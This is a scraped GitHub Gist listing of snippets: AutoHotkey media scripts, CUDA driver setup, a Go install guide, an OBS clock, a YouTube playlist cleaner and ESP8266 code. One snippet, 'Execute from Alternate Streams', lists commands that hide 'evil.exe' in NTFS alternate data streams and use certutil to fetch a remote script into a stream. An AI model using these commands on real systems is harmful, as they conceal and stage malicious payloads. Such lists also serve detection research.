Skip to content

Instantly share code, notes, and snippets.

@mariotacke
mariotacke / README.md
Last active February 4, 2025 06:43
Spotify AutoHotkey Script

Spotify AutoHotkey Script

This script makes use of the Numpad to control media players and volume on your system.

Usage

  • Install AutoHotkey
  • Right-click .ahk script
  • Compile Script
  • Start executable

Hotkeys

@whizzzkid
whizzzkid / XPS-15 9560 Getting Nvidia To Work on KDE Neon
Last active December 3, 2022 15:43
[XPS 15 Early 2017 9560 kabylake] Making Nvidia Drivers + (CUDA 8 / CUDA 9 / CUDA 9.1) + Bumblebee work together on linux ( Ubuntu / KDE Neon / Linux Mint / debian )
# Instructions for 4.14 and cuda 9.1
# If upgrading from 4.13 and cuda 9.0
$ sudo apt-get purge --auto-remove libcud*
$ sudo apt-get purge --auto-remove cuda*
$ sudo apt-get purge --auto-remove nvidia*
# also remove the container directory direcotory at /usr/local/cuda-9.0/
# Important libs required with 4.14.x with Cuda 9.X
$ sudo apt install libelf1 libelf-dev
@db93n2
db93n2 / script_icon.ahk
Last active March 2, 2023 21:38
🖼️ (autohotkey) - automagically find an icon for a script
/*
[icon folders]
folder_1 =
folder_2 =
*/
script_icon(ahk_filepath="") {
if (ahk_filepath = "")
{
icon_name := subStr(a_scriptName, 1, strLen(a_scriptName) - 4)
@nwh
nwh / cuda-dev-dell-xps-15.sh
Last active April 13, 2019 11:14
Dell XPS 15 9560 Configuration for CUDA Development
# 2017-04-06
#
# The sequence of commands below can be used to configure a Dell XPS 15 9560 laptop
# for CUDA development and testing. No special care is taken for battery life. In
# the end, the Nvidia GPU is used to drive the display and may run CUDA executables.
#
# update ubuntu
sudo apt update
sudo apt upgrade
@sam0737
sam0737 / clock.html
Last active February 5, 2025 09:00
OBS Studio: A HTML page for showing current date and time in the video
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>A simple clock</title>
</head>
<body translate="no" >
@simoncos
simoncos / golang_on_rpi.md
Last active March 7, 2025 06:21 — forked from konradko/golang_on_rpi.md
Install Golang 1.9 on Raspberry Pi

Install Golang 1.9:

wget https://storage.googleapis.com/golang/go1.9.linux-armv6l.tar.gz
sudo tar -C /usr/local -xzf go1.9.linux-armv6l.tar.gz
export PATH=$PATH:/usr/local/go/bin # put into ~/.profile

If already installed old golang with apt-get:

@jcsteh
jcsteh / SpotifyGlobalKeys.ahk
Last active April 9, 2025 13:51
AutoHotkey script to control Spotify with global keyboard shortcuts
; SpotifyGlobalKeys.ahk:
; AutoHotkey script to control Spotify with global keyboard shortcuts
; Author: James Teh <[email protected]>
; Copyright 2017-2018 James Teh
; License: GNU General Public License version 2.0
DetectHiddenWindows, On
; Get the HWND of the Spotify main window.
getSpotifyHwnd() {
@astamicu
astamicu / Remove videos from Youtube Watch Later playlist.md
Last active April 21, 2025 07:10
Script to remove all videos from Youtube Watch Later playlist

UPDATED 22.11.2022

It's been two years since the last update, so here's the updated working script as per the comments below.

Thanks to BryanHaley for this.

setInterval(function () {
    video = document.getElementsByTagName('ytd-playlist-video-renderer')[0];

 video.querySelector('#primary button[aria-label="Action menu"]').click();
@api0cradle
api0cradle / Exe_ADS_Methods.md
Last active April 23, 2025 13:02
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

@MelvinStans
MelvinStans / esp8266_web_oled.ino
Last active April 23, 2023 19:21
Put text on a OLED screen from a website on the ESP8266
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <SPI.h>
#include "SSD1306Spi.h"
// Change here the ssid and password to your own.
const char *ssid = "SSID";
const char *password = "password";
String ss = ssid;